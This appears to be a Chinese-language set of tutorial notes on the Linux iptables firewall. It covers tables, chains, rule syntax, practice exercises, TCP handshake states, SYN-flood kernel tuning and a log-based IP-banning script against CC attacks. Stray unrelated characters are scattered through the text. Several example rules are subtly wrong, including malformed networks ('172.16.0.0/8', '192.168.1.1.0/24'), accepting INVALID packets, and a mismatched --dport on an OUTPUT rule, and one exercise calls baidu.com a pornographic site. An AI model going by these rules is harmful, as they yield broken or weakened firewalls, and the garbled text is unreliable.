iptables(防火墻)

iptables


附件
CC攻擊器-邪惡十六進(jìn)制2.0 模擬cc攻擊
python寫的暴力破解的腳本 模擬暴力破解攻擊

linux的防火墻 iptables

名詞解釋
dip|sip source(源) destination(目的,目標(biāo))
sport|dport

netfilter(iptables)

netfilter --工作在內(nèi)核軟件,實(shí)現(xiàn)數(shù)據(jù)包的過濾叠纹。
iptables --工作應(yīng)用層一個(gè)軟件,用來控制netfilter飞主。
1.netfilter/iptables包過濾防火墻(tcp/ip四層)
1)應(yīng)用層 --通過軟件為用戶提供接口
2)傳輸層 --提供可靠或不可靠的數(shù)據(jù)傳輸(TCP/UDP)使用端口來標(biāo)示服務(wù)類型 sport dport
3)網(wǎng)絡(luò)層 --提供路由和選址(icmp) sip dip
4)數(shù)據(jù)鏈路層 --傳輸數(shù)據(jù)幀(MAC) s _mac arp寫 在局域網(wǎng)內(nèi)泛洪 來找到我們對(duì)應(yīng)的MAC
5)物理層 --傳輸透明比特流 eth0 eth1
過濾的依據(jù): s_mac/sip/dip/sport/dport/狀態(tài)(三次握手/四次斷開)SYN DDOS攻擊怎么防御我們DDOS 小流量
netfilter的邏輯架構(gòu): nat 10

image

netfilter防火墻的元素及關(guān)系:
netfilter==>表==>鏈==>規(guī)則

三張表:

filter 防火墻表,允許和拒絕都在這里實(shí)現(xiàn)
nat 地址轉(zhuǎn)換
mangle 數(shù)據(jù)包整形

五條鏈:

INPUT 本機(jī)進(jìn)站的數(shù)據(jù)流
OUTPUT 本機(jī)出站的數(shù)據(jù)流
FORWARD 路由的數(shù)據(jù)流
POSTROUTING 路由后的數(shù)據(jù)流
PREROUTING 路由前的數(shù)據(jù)流

表跟鏈的對(duì)應(yīng)關(guān)系:

filter:INPUT,OUTPUT,FORWARD
nat: OUTPUT,PREROUTING,POSTROUTING

mangle:INPUT,OUTPUT,FORWARD,PREROUTING,POSTROUTING

四種數(shù)據(jù)流:

本機(jī)進(jìn)站的數(shù)據(jù)流:packet-->ethX-->PREROUTING-->INPUT-->本機(jī)
本機(jī)出站的數(shù)據(jù)流:packet-->OUTPUT-->POSTROUTING-->ethX-->destination
路由的數(shù)據(jù)流:
出去: packet-->eth0-->PREROUTING-->FORWARD-->POSTROUTING-->eth1--destination
回來: packet-->eth1-->PREROUTING-->FORWARD-->POSTROUTING-->eth0--destination
本機(jī)訪問本機(jī): 本機(jī)-->packet-->lo-->PREROUTING-->INPUT-->本機(jī)

本機(jī)-->packet-->OUTPUT-->POSTROUTING--lo-->本機(jī)

表的匹配順序:

mangle-->nat-->filter

防火墻規(guī)則匹配順序:

1.按順序匹配,如果第一條匹配到了就直接執(zhí)行這條規(guī)則的動(dòng)作,不往下匹配其它規(guī)則.

2.如果第一條匹配不到,第二條也匹配不到,繼續(xù)往下匹配直到找到匹配的規(guī)則,如果找不到匹配默認(rèn)規(guī)則.

傳輸層:協(xié)議(tcp/udp)
端口(sport/dport)
網(wǎng)絡(luò)層:
IP地址(sip/dip/icmp) ping
數(shù)據(jù)鏈路層:
mac地址(--mac-source)
物理層:
從哪個(gè)網(wǎng)卡進(jìn)來 -i eth0 eth1 服務(wù)器2個(gè)地址 外網(wǎng)地址 一個(gè)內(nèi)網(wǎng)地址

iptables操作命令

#iptables --help
Usage: iptables -[AD] chain rule-specification [options]
       iptables -[RI] chain rulenum rule-specification [options]
       iptables -D chain rulenum [options]
       iptables -[LFZ] [chain] [options]
       iptables -[NX] chain
       iptables -E old-chain-name new-chain-name
       iptables -P chain target [options]
       iptables -h (print this help information)

  --append  -A chain            追加規(guī)則
  --delete  -D chain            刪除規(guī)則
  --delete  -D chain rulenum    刪除指定序號(hào)的規(guī)則
                                
  --insert  -I chain [rulenum]  插入一條規(guī)則(default 1=first) 插入會(huì)插入表的第一行
  --replace -R chain rulenum    替換一條規(guī)則
                                
  --list    -L [chain]          顯示出鏈或者鏈中的規(guī)則
  --flush   -F [chain]          在一個(gè)鏈或者所有鏈中清空規(guī)則
  --zero    -Z [chain]          清空計(jì)數(shù)
  --new     -N chain            創(chuàng)建用戶自定義鏈
  --delete-chain
            -X [chain]          刪除用戶自定義鏈
  --policy  -P chain target     指定默認(rèn)規(guī)則
                                Change policy on chain to target
  --rename-chain
            -E old-chain new-chain
                                     重命名用戶自定義鏈
Options:
  --proto       -p [!] proto    指定協(xié)議,!代表取反
  --source      -s [!] address[/mask]   --指定源地址
                                source specification
  --destination -d [!] address[/mask]   --指定目標(biāo)地址
                                destination specification
  --in-interface -i [!] input name[+]   --指定數(shù)據(jù)從哪個(gè)網(wǎng)口進(jìn)來
                                network interface name ([+] for wildcard)
  --jump        -j target                       --匹配動(dòng)作
                                target for rule (may load target extension)
  --goto      -g chain
                              jump to chain with no return
  --match       -m match                        --擴(kuò)展匹配
                                extended match (may load extension)
  --numeric     -n              --端口和IP以數(shù)值方式顯示,不作反解
  --out-interface -o [!] output name[+] --指定數(shù)據(jù)從哪個(gè)網(wǎng)口出去
                                network interface name ([+] for wildcard)
  --table       -t table        --指定使用哪個(gè)表 (default: `filter')
  --verbose     -v              --顯示詳細(xì)信息
  --line-numbers                --顯示規(guī)則的序號(hào)
  --exact       -x              expand numbers (display exact values)
  • 查看
# iptables -t nat -L -n -v --line
# iptables -t filter -L -n
# iptables -t filter -L INPUT
# iptables -t filter -L INPUT -v -n
# iptables -t filter -L INPUT -n -v --line
# watch -n 0.1 iptables -L INPUT --line -n -v
iptables -nv -L
  • 追加 插入 替換 刪除
追加規(guī)則:
# iptables -t filter -A INPUT -i lo -j ACCEPT

插入規(guī)則:
# iptables -t filter -I INPUT -i eth0 -j ACCEPT     --插入成為第一條
# iptables -t filter -I INPUT 3 -i eth0 -j ACCEPT       --插入成為第三條規(guī)則

替換規(guī)則:
# iptables -t filter -R INPUT 3 -i eth1 -j ACCEPT       --替換成為指定規(guī)則
    
刪除規(guī)則:
# iptables -t filter -D INPUT 2                 --刪除指定鏈指定編號(hào)的規(guī)則

+++++++++++
#iptables -t filter -A INPUT -i lo -j ACCEPT
#iptables -t filter -A OUTPUT -o lo -j ACCEPT
#iptables -t filter -A INPUT -i eth0 -s 192.168.0.0/24 -d 192.168.0.250 -j ACCEPT
# iptables -t filter -A INPUT -i eth1 -j ACCEPT
# iptables -L INPUT -n --line -v
# iptables -t filer -I INPUT 2 -i eth2 -j ACCEPT   插入默認(rèn)第二條
# iptables -t filter -I INPUT  -i eth3 -j ACCEPT    插入默認(rèn)第一條
# iptables -t filter -R INPUT 1 -i eth4 -j ACCEPT  替換默認(rèn)第一條
#iptables -t filter -D INPUT 1                  刪除默認(rèn)第一條
# iptables -t filter -F INPUT                   清空filter所有INPUT鏈
#iptables -t filter -F              

#iptables -L INPUT -n --line -v

空規(guī)則:
    1奸远、清空一張表
# iptables -t filter -F
注意不會(huì)清除默認(rèn)規(guī)則

    2既棺、清空一條鏈中的規(guī)則
# iptables -t filter -F INPUT

新建/刪除用戶自定義的鏈:
# iptables -t filter -N uplooking   新建
# iptables -t filter -X uplooking       刪除
# iptables -t filter -X             清空filter表中所有用戶自定義鏈
+++++++++
iptables -t filter -N TCP
iptables -t filter -N UDP
iptables -t filter -A INPUT -i lo -j ACCEPT
iptables -t filter -A INPUT -p tcp -j TCP
++++++++
更改默認(rèn)規(guī)則:
# iptables -t filter -P INPUT ACCEPT
# iptables -t filter -P INPUT DROP

1、iptables擴(kuò)展匹配

  1. iptables(user space)/netfilter(kernel space)
  2. netfilter組成(表(功能模塊)/鏈/規(guī)則)
    filter(INPUT/OUTPUT/FORWARD) 過濾
    nat(PREROUTING/POSTROUTING/OUTPUT) 地址轉(zhuǎn)換
    mangle(5個(gè)鏈 ) 更封裝層數(shù)據(jù)包結(jié)構(gòu)
    -->PREROUTING-->FORWARD-->POSTROUTING-->
    INPUT | | OUTPUT
    本機(jī)

規(guī)則的匹原則:

1懒叛、自上而下按順序匹配
2、如果匹配到某條規(guī)則耽梅,執(zhí)行這個(gè)規(guī)則動(dòng)作薛窥,就不往后匹配其它規(guī)則
3、如果列表的所有的規(guī)則都匹配不到,則匹配默認(rèn)規(guī)則
iptables [-t talbe] -A | -I | -D | -R | -E chian option(-s -d -i -o -p --dport -m) -j action(ACCEPT/DROP/REJECT/SNAT/DNAT....)
ACCEPT 接受
DROP 悄悄丟棄
REJECT 明示拒絕
SNAT 基于源地址的nat轉(zhuǎn)換诅迷,其作用是將ip數(shù)據(jù)包的源地址轉(zhuǎn)換成另外一個(gè)地址
DNAT 目的地址轉(zhuǎn)換 其作用是將ip數(shù)據(jù)包的目標(biāo)地址轉(zhuǎn)換成另外一個(gè)地址
應(yīng)用層
傳輸層(tcp/udp/sport/doprt/ tcp6個(gè)控制位匹配)
網(wǎng)絡(luò)層(-s/-d/icmp)
數(shù)據(jù)鏈路層(mac)
物理層(-i/-o)

擴(kuò)展匹配

1佩番、通用匹配 -i -o -s -d
-i eth0 從這塊網(wǎng)卡流入的數(shù)據(jù) 流入一般用INPUT和PREROUING
-o eth0 從這塊網(wǎng)卡流出的數(shù)據(jù) 流出一般在OUTPUT和PSOTROUTING
-s 源IP
-d 目標(biāo)IP
2、隱含匹配 tcp udp icmp sport dport
3罢杉、擴(kuò)展匹配 -m mac | iprange | state
-m multiport:表示啟用多端口擴(kuò)展 之后我們就可以啟用比如 --dports 21,23,80,8080-8100, 3306
常用的ACTION: -j
DROP:悄悄丟棄 nmap
一般我們多用DROP來隱藏我們的身份趟畏,以及隱藏我們的鏈表
REJECT:明示拒絕
ACCEPT:接受
custom_chain:轉(zhuǎn)向一個(gè)自定義的鏈
DNAT
SNAT
MASQUERADE:源地址偽裝 nat實(shí)驗(yàn)的時(shí)候
REDIRECT:重定向:主要用于實(shí)現(xiàn)端口重定向
MARK:打防火墻標(biāo)記的
RETURN:返回
在自定義鏈執(zhí)行完畢后使用返回,來返回原規(guī)則鏈滩租。

練習(xí)題1:

只要是來自于172.16.85.14的都允許訪問我本機(jī)的172.16.100.1的SSHD服務(wù)
分析:首先肯定是在允許表中定義的赋秀。因?yàn)椴恍枰鯪AT地址轉(zhuǎn)換之類的,然后查看我們SSHD服務(wù)律想,在22號(hào)端口上猎莲,處理機(jī)制是接受,對(duì)于這個(gè)表技即,需要有一來一回兩個(gè)規(guī)則著洼,如果我們?cè)试S也好,拒絕也好而叼,對(duì)于訪問本機(jī)服務(wù)身笤,我們最好是定義在INPUT鏈上,而OUTPUT再予以定義就好葵陵。(會(huì)話的初始端先定義)展鸡,所以加規(guī)則就是:
定義進(jìn)來的:
iptables -t filter -A INPUT -s 172.16.0.0/16 -d 172.16.100.1 -p tcp --dport 22 -j ACCEPT
定義出去的: iptables -t filter -A OUTPUT -s 172.16.100.1 -d 172.16.0.0/16 -p tcp --dport 22 -j ACCEPT
將默認(rèn)策略改成DROP:
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

1、允許ping 127.0.0.1 和 允許 ping 10.1.1.0/24 ,其他服務(wù)都禁止

# iptables -A INPUT -p icmp -i lo -j ACCEPT
# iptables -A INPUT -p icmp -s 10.1.1.0/255.255.255.0 -j ACCEPT
# iptables -A INPUT -j DROP

或者
# iptables -P INPUT DROP  《--定義默認(rèn)策略埃难,當(dāng)在規(guī)則表里找不到匹配的規(guī)則就采取策略的動(dòng)作
# iptables -A INPUT -p icmp -i lo -j ACCEPT
# iptables -A INPUT -p icmp -s 10.1.1.0/255.255.255.0 -j ACCEPT



2莹弊、只運(yùn)訪問本機(jī)的SSH服務(wù)(只允許遠(yuǎn)程ssh登錄到本機(jī))

# iptables -P INPUT DROP
# iptables -A INPUT -p tcp --dport 22 -j ACCEPT  <---定義端口的參數(shù) --dport
    還有就是  
定義源端口 --source-port  --sport
定義目的端口 --destination-port --dport

3、定義連續(xù)端口
    iptables -A INPUT -p tcp --dport 20:100 -j ACCEPT  <---允許訪問 20到100的端口


4涡尘、定義多端口 <---引入一個(gè)“模塊”的概念
    iptables -A INPUT -m multiport -p tcp --dports  22,80,110 -j ACCEPT
        -m 指定模塊 
        multiport 支持多端口的擴(kuò)展模塊

5忍弛、允許和內(nèi)網(wǎng)的客戶(10.1.1.0/24)進(jìn)行傳輸數(shù)據(jù)(包括ping)
    iptables -P INPUT DROP
    iptables -A INPUT -p ALL -i eth0  -s 10.1.1.0/24 -j ACCEPT

6、決絕訪問色情網(wǎng)站www.baidu.com
    iptables -A OUTPUT -d www.baidu.com  -j DROP

7考抄、通過硬件地址進(jìn)行過濾
    -m  mac  --mac-source [!] address
    iptables -A INPUT -m mac --mac-source 00:25:86:8E:AF:C8 -p icmp -j REJECT
    
    注意REJECT 和 DROP 區(qū)別

    
8细疚、定義連續(xù)的IP地址
    iptables -A INPUT  -m iprange --src-range 10.1.1.140-10.1.1.254 -j DROP

9、對(duì)外只開放web服務(wù)川梅,其他一切不放行疯兼,不允許進(jìn)來也不允許出去
# iptables -P OUTPUT DROP
# iptables -P INPUT DROP
# iptables -A INPUT -p tcp --dport 80 -j ACCEPT  <--tcpdump tcp port 80 只看到進(jìn)來的,沒有出去的
# iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED,RELATED -j ACCEPT

10贫途、綜合應(yīng)用:
    本機(jī)需要開放的服務(wù)有: ssh(22) 吧彪、 web(80) 、 ftp(21 20) 丢早、 DNS(53) 姨裸、pop3(110)秧倾、pop3s(995)、IMAP(143)傀缩、IMAPS(993)那先、smtp(25)等服務(wù)。
    其中web 赡艰、ftp售淡、pop3、pop3s慷垮、IMAP揖闸、IMAPS 允許所有網(wǎng)絡(luò)的人訪問;
    ssh 只允許本地局域網(wǎng)中的某個(gè)MAC地址訪問
    只允許本地局域網(wǎng)的用戶發(fā)送郵件
    只允許本地局域網(wǎng)的用戶查詢DNS


# modprobe ip_conntrack_ftp
# iptables -P INPUT DROP
# iptables -P OUTPUT DROP
# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# iptables -A INPUT -i lo -j ACCEPT
# iptables -A INPUT -p tcp -m multiport --destination-ports 20,21,80,110,143,993,995 -j ACCEPT
# iptables -A INPUT -m mac --mac-source 00:25:86:8E:AF:C8 -p tcp -s 10.1.1.0/24 --dport 22 -j ACCEPT
# iptables -A INPUT -p tcp --dport 25 -s 10.1.1.0/24 -j ACCEPT
# iptables -A INPUT -p tcp --dport 53 -s 10.1.1.0/24 -j ACCEPT
# iptables -A INPUT -p udp --dport 53 -s 10.1.1.0/24 -j ACCEPT

練習(xí)題icmp:

icmp:0 8
0:應(yīng)答請(qǐng)求
8:ping請(qǐng)求
icmp對(duì)照表
假如我們?cè)试S自己ping別人换帜,但是別人ping自己ping不通如何實(shí)現(xiàn)呢楔壤?
分析:對(duì)于ping這個(gè)協(xié)議,進(jìn)來的為8(ping)惯驼,出去的為0(響應(yīng)).我們?yōu)榱诉_(dá)到目的蹲嚣,需要8出去,允許0進(jìn)來

在出去的端口上:iptables -A OUTPUT -p icmp --icmp-type 8 -j ACCEPT  
在進(jìn)來的端口上:iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT  
iptables -A OUTPUT -p icmp --icmp-type 8 -j ACCEPT  
iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT  
iptables -A OUTPUT -p icmp --icmp-type 0 -j DROP  
iptables -A INPUT -p icmp --icmp-type 8 -j DROP  
小擴(kuò)展:對(duì)于127.0.0.1比較特殊,我們需要明確定義它  
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT  
iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT  
/lib/modules/2.6.18-194.el5/kernel/net/ipv4/netfilter/:存放模塊的位置  
-m connlimit:每個(gè)IP的并發(fā)連接數(shù)(TCP) --關(guān)注的是新發(fā)起的連接(NEW --syn)  
mount -o loop rhel55.iso /mnt  
rpm -Uvh /mnt/Server/iptables-1.3.5-5.3.el5_4.1.i386.rpm  
iptables -t filter -A INPUT -s 192.168.1.115 -p tcp --dport 22 -m connlimit --connlimit-above 1 -j DROP  
iptables -t filter -A INPUT -s 192.168.1.115 -p tcp --dport 22 -m connlimit ! --connlimit-above 1 -j ACCEPT  
-m icmp:ping包請(qǐng)求與發(fā)送  
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type echo-reply -j ACCEPT  
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type echo-request -j ACCEPT  
[root@ ~]# iptables -A INPUT -p icmp -j DROP  
[root@ ~]# iptables -A OUTPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT ==&gt; 0 相當(dāng)于 echo-reply  
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT ==&gt; 8 相當(dāng)于 echo-request  
-m ipranges:IP范圍  
[!] --src-range ip-ip Match source IP in the specified range  
[!] --dst-range ip-ip Match destination IP in the specified range  
[root@ ~]# iptables -t filter -A FORWARD -m iprange --src-range 192.168.1.1-192.168.1.100 -j ACCEPT  
[root@ ~]# iptables -t filter -A FORWARD -m iprange --dst-range 192.168.1.101-192.168.1.252 -j DROP  
-m limit:速率限制  
[root@ ~]# watch iptables -L INPUT -nv  
[root@ ~]# iptables -A INPUT -s 192.168.1.115 -p icmp -m icmp --icmp-type echo-request -m limit --limit 1/second --limit-burst 1 -j ACCEPT  
[root@ ~]# iptables -A INPUT -s 192.168.1.115 -p icmp -m icmp --icmp-type echo-request -j DROP  
-m mac:匹配源地址的 MAC 地址  
[root@ ~]# iptables -A INPUT -m mac --mac 00:0C:29:58:01:9A -p icmp -j DROP  
-m multiport:多端口  
[root@ html]# iptables -A INPUT -s 192.168.1.0/24 -p tcp -m multiport --dport 22:25,25,110,80,53,21 -j DROP  
-m state(NEW/ESTABLISHED/RELATED/INVALID):  
NEW --第一個(gè)數(shù)包祟牲,跟TCP狀態(tài)無關(guān)  
ESTABLISHED --第二個(gè)數(shù)據(jù)包  
RELATED --已經(jīng)發(fā)生關(guān)系的數(shù)據(jù)(FTP)  
INVALID --無效數(shù)據(jù)包  

個(gè)人簡單的防火墻(狀態(tài)):

ESTABLISHED 不允許其他主機(jī)發(fā)起的主動(dòng)訪問隙畜,只允許本地主機(jī)主動(dòng)發(fā)起的發(fā)功能文以及l(fā)o通訊
[root@stu110 ~]# iptables -P INPUT DROP
[root@stu110 ~]# iptables -A INPUT -i lo -j ACCEPT
[root@stu110 ~]# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
[root@stu110 ~]# iptables -A INPUT -p icmp -m state --state NEW -m limit --limit 1/second --limit-burst 3 -j ACCEPT
[root@stu110 ~]# iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
RELATED:已發(fā)生關(guān)系的
(1)vsftpd數(shù)據(jù)傳輸(考慮模式,默認(rèn)是主動(dòng)模式)

主動(dòng)模式:

21 --控制端口
20 --數(shù)據(jù)端口

被動(dòng)模式:

21 --控制端口
1024+ --數(shù)據(jù)端口
[root@mail ~]# insmod /lib/modules/2.6.18-164.el5xen/kernel/net/ipv4/netfilter/ip_conntrack_ftp.ko 需要模塊的支持说贝,內(nèi)核才能支持 RELATED狀態(tài)
[root@mail ~]# iptables -t filter -A INPUT -p tcp --dport 21 -j ACCEPT
[root@mail ~]# iptables -t filter -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
被動(dòng)模式/主動(dòng):
service vsftpd start
iptables -A INPUT -p tcp -m multiport --dport 21 -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
modproble ip_conntrack_ftp --加載FTP狀態(tài)自動(dòng)跟蹤模塊议惰,它可以完成自動(dòng)切換端口
-m string:字符串內(nèi)容進(jìn)行匹配(局限大,效率低乡恕,不太用)
[root@ ~]# iptables -A INPUT -s 192.168.1.8 -p tcp --dport 22 -m string --algo bm --string "sex" -j DROP
-m time:時(shí)間限制
[root@ linux]# insmod /lib/modules/$(uname -r)/kernel/net/ipv4/netfilter/ipt_time.ko
[root@ linux]# iptables -t filter -A INPUT -s 192.168.1.1.0/24 -m time --timestart 9:00 --timestop 17:00 --days Mon,Tue,Wed,Thu,Fri -j ACCEPT
[root@ linux]# iptables -t filter -A INPUT -s 192.168.1.1.0/24 -p tcp --dport 80 -j DROP


抓包命令
tcpdump port 80 -nn -v -S
tcpdump port 80 -nn -v -S
位碼即tcp標(biāo)志位,有6種標(biāo)示:

SYN(synchronous建立聯(lián)機(jī))

ACK(acknowledgement 確認(rèn))

PSH(push傳送)

FIN(finish結(jié)束)

RST(reset重置)

URG(urgent緊急)

Sequence number(順序號(hào)碼)

Acknowledge number(確認(rèn)號(hào)碼)
三次握手狀態(tài)意義:
LISTEN - 偵聽來自遠(yuǎn)方TCP端口的連接請(qǐng)求言询;
SYN-SENT -在發(fā)送連接請(qǐng)求后等待匹配的連接請(qǐng)求;
SYN-RECEIVED - 在收到和發(fā)送一個(gè)連接請(qǐng)求后等待對(duì)連接請(qǐng)求的確認(rèn)傲宜;
ESTABLISHED- 代表一個(gè)打開的連接运杭,數(shù)據(jù)可以傳送給用戶;
FIN-WAIT-1 - 等待遠(yuǎn)程TCP的連接中斷請(qǐng)求函卒,或先前的連接中斷請(qǐng)求的確認(rèn)辆憔;
FIN-WAIT-2 - 從遠(yuǎn)程TCP等待連接中斷請(qǐng)求;
CLOSE-WAIT - 等待從本地用戶發(fā)來的連接中斷請(qǐng)求报嵌;
CLOSING -等待遠(yuǎn)程TCP對(duì)連接中斷的確認(rèn)虱咧;
LAST-ACK - 等待原來發(fā)向遠(yuǎn)程TCP的連接中斷請(qǐng)求的確認(rèn);
TIME-WAIT -等待足夠的時(shí)間以確保遠(yuǎn)程TCP接收到連接中斷請(qǐng)求的確認(rèn)锚国;
CLOSED - 沒有任何連接狀態(tài)腕巡;
TCP/IP協(xié)議中,TCP協(xié)議提供可靠的連接服務(wù)跷叉,采用三次握手建立一個(gè)連接逸雹,如圖1所示营搅。

(1)第一次握手:建立連接時(shí)云挟,客戶端A發(fā)送SYN包(SYN=j)到服務(wù)器B梆砸,并進(jìn)入SYN_SEND狀態(tài),等待服務(wù)器B確認(rèn)园欣。

(2)第二次握手:服務(wù)器B收到SYN包帖世,必須確認(rèn)客戶A的SYN(ACK=j+1),同時(shí)自己也發(fā)送一個(gè)SYN包(SYN=k)沸枯,即SYN+ACK包日矫,此時(shí)服務(wù)器B進(jìn)入SYN_RECV狀態(tài)。

(3)第三次握手:客戶端A收到服務(wù)器B的SYN+ACK包绑榴,向服務(wù)器B發(fā)送確認(rèn)包ACK(ACK=k+1)哪轿,此包發(fā)送完畢,客戶端A和服務(wù)器B進(jìn)入ESTABLISHED狀態(tài)翔怎,完成三次握手窃诉。

完成三次握手,客戶端與服務(wù)器開始傳送數(shù)據(jù)赤套。


四次揮手是斷開連接
由于TCP連接是全雙工的飘痛,因此每個(gè)方向都必須單獨(dú)進(jìn)行關(guān)閉。這個(gè)原則是當(dāng)一方完成它的數(shù)據(jù)發(fā)送任務(wù)后就能發(fā)送一個(gè)FIN來終止這個(gè)方向的連接容握。收到一個(gè) FIN只意味著這一方向上沒有數(shù)據(jù)流動(dòng)宣脉,一個(gè)TCP連接在收到一個(gè)FIN后仍能發(fā)送數(shù)據(jù)。首先進(jìn)行關(guān)閉的一方將執(zhí)行主動(dòng)關(guān)閉剔氏,而另一方執(zhí)行被動(dòng)關(guān)閉塑猖。

CP的連接的拆除需要發(fā)送四個(gè)包,因此稱為四次揮手(four-way handshake)谈跛⊙蚬叮客戶端或服務(wù)器均可主動(dòng)發(fā)起揮手動(dòng)作,在socket編程中币旧,任何一方執(zhí)行close()操作即可產(chǎn)生揮手操作践险。

(1)客戶端A發(fā)送一個(gè)FIN,用來關(guān)閉客戶A到服務(wù)器B的數(shù)據(jù)傳送吹菱。

(2)服務(wù)器B收到這個(gè)FIN巍虫,它發(fā)回一個(gè)ACK,確認(rèn)序號(hào)為收到的序號(hào)加1鳍刷。和SYN一樣占遥,一個(gè)FIN將占用一個(gè)序號(hào)。

(3)服務(wù)器B關(guān)閉與客戶端A的連接输瓜,發(fā)送一個(gè)FIN給客戶端A瓦胎。

(4)客戶端A發(fā)回ACK報(bào)文確認(rèn)芬萍,并將確認(rèn)序號(hào)設(shè)置為收到序號(hào)加1。

  1. 為何主機(jī)A在發(fā)送了最后的確認(rèn)后沒有進(jìn)入CLOSED狀態(tài)搔啊,反而進(jìn)入了一個(gè)2MSL的TIME-WAIT柬祠。主要作用有兩個(gè):第一,確保主機(jī)A最后發(fā)送的確認(rèn)能夠到達(dá)主機(jī)B负芋。如果處于LAST-ACK狀態(tài)的主機(jī)B一直收不到來自主機(jī)A的確認(rèn)漫蛔,它會(huì)重傳斷開連接請(qǐng)求,然后主機(jī)A就可以有足夠的時(shí)間去再次發(fā)送確認(rèn)旧蛾。但是這也只能盡最大力量來確保能夠正常斷開莽龟,如果主機(jī)A的確認(rèn)總是在網(wǎng)絡(luò)中滯留失效,從而超過了2MSL锨天,最后也無法正常斷開毯盈;第二,如果主機(jī)A在發(fā)送了確認(rèn)之后立即進(jìn)入CLOSED狀態(tài)病袄。假設(shè)之后主機(jī)A再次向主機(jī)B發(fā)送一條連接請(qǐng)求搂赋,而這條連接請(qǐng)求比之前的確認(rèn)報(bào)文更早地到達(dá)主機(jī)B,則會(huì)使得主機(jī)B以為這條連接請(qǐng)求是在舊的連接中A發(fā)出的報(bào)文陪拘,并不看成是一條新的連接請(qǐng)求了厂镇,即使得這個(gè)連接請(qǐng)求失效了,增加2MSL的時(shí)間可以使得這個(gè)失效的連接請(qǐng)求報(bào)文作廢左刽,這樣才不影響下次新的連接請(qǐng)求中出現(xiàn)失效的連接請(qǐng)求捺信。
  2. 在下面的抓包實(shí)驗(yàn)中,為什么斷開連接請(qǐng)求報(bào)文只有三個(gè)欠痴,而不是四個(gè)迄靠。因?yàn)樵赥CP連接過程中,確認(rèn)的發(fā)送有一個(gè)延時(shí)(即經(jīng)受延時(shí)的確認(rèn))喇辽,一端在發(fā)送確認(rèn)的時(shí)候?qū)⒌却欢螘r(shí)間掌挚,如果自己在這段事件內(nèi)也有數(shù)據(jù)要發(fā)送,就跟確認(rèn)一起發(fā)送菩咨,如果沒有惦辛,則確認(rèn)單獨(dú)發(fā)送尘奏。而我們的抓包實(shí)驗(yàn)中,由服務(wù)器端先斷開連接,之后客戶端在確認(rèn)的延遲時(shí)間內(nèi)箫锤,也有請(qǐng)求斷開連接需要發(fā)送撩匕,于是就與上次確認(rèn)一起發(fā)送赢乓,因此就只有三個(gè)數(shù)據(jù)報(bào)了妹萨。

DDOS原理,及輕量級(jí)別攻擊的防止

# vim /etc/sysctl.conf

net.ipv4.tcp_max_syn_backlog = 8096 --超過最大連接數(shù)后產(chǎn)生新syn隊(duì)列的長度
net.ipv4.tcp_synack_retries = 2 --syn確認(rèn)的重試次數(shù)
net.ipv4.ip_local_port_range = 1024 65535--表示用于向外連接的端口范圍标捺。缺省情況下很邪媚伞:32768到61000揉抵,改為1024到65000。
net.ipv4.tcp_syncookies = 1 --表示開啟SYNCookies嗤疯。當(dāng)出現(xiàn)SYN等待隊(duì)列溢出時(shí)冤今,啟用cookies來處理,可防范少量SYN攻擊身弊,默認(rèn)為0辟汰,表示關(guān)閉列敲;
net.ipv4.tcp_tw_reuse = 1 --表示開啟重用阱佛。允許將TIME-WAITsockets重新用于新的TCP連接,默認(rèn)為0戴而,表示關(guān)閉凑术;
net.ipv4.tcp_tw_recycle = 1 --表示開啟TCP連接中TIME-WAIT sockets的快速回收,默認(rèn)為0所意,表示關(guān)閉淮逊。
net.ipv4.tcp_max_tw_buckets=5000--表示系統(tǒng)同時(shí)保持TIME_WAIT套接字的最大數(shù)量,如果超過這個(gè)數(shù)字,TIME_WAIT套接字將立刻被清除并打印警告信息扶踊。默認(rèn)為180000泄鹏,改為5000。
sysctl -p
1秧耗、通過iptables防止輕量級(jí)別的DDOS
-m limit
-m connlimit
2备籽、DDOS的原理,三次握手(客戶端第三次不回應(yīng)服務(wù)端)
3分井、通過內(nèi)核增大TCP緩沖區(qū)车猬,支持更多的連接。
4尺锚、增加更強(qiáng)大的硬件防火墻珠闰,用于丟棄(過濾)掉不正常syn請(qǐng)求,搭建負(fù)載均衡集群,另外保證你的外網(wǎng)有足夠大的帶寬
第一種 一

從哪個(gè)網(wǎng)卡出去 -o

傳輸層:協(xié)議(tcp/udp)
端口(sport /dport)
網(wǎng)絡(luò)層:
IP地址(sip /dip /icmp) ping
數(shù)據(jù)鏈路層:
mac地址(--mac-source)
物理層:
從哪個(gè)網(wǎng)卡進(jìn)來 -i eth0 eth1 服務(wù)器2個(gè)地址 外網(wǎng)地址 一個(gè)內(nèi)網(wǎng)地址
從哪個(gè)網(wǎng)卡出去 -o

iptables防御cc攻擊腳本

#!/bin/sh
drop_ip=`tail -n 5000 /data/logs/www.log |awk '{a[$1]++}END{for(i in a)if(a[i]>300)print i}'`
if test -n $drop_ip;then
for i in $drop_ip
do
if [ -z "`iptables -nvL |grep $i`" ];then
/sbin/iptables -I INPUT -s $i -j DROP
fi
done
fi

iptable通用腳本

#!/bin/bash

# Descript:The Firewall Script.

iptables -F INPUT
iptables -F OUTPUT
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,INVALID -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -p tcp -m multiport --dport 8001:8030,5001:5020,443,22,21,843,80 -j ACCEPT  
iptables -A INPUT -p tcp -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp -s 192.168.0/16 -j ACCEPT
iptables -A INPUT -p tcp -s 172.16.0.0/8 -j ACCEPT
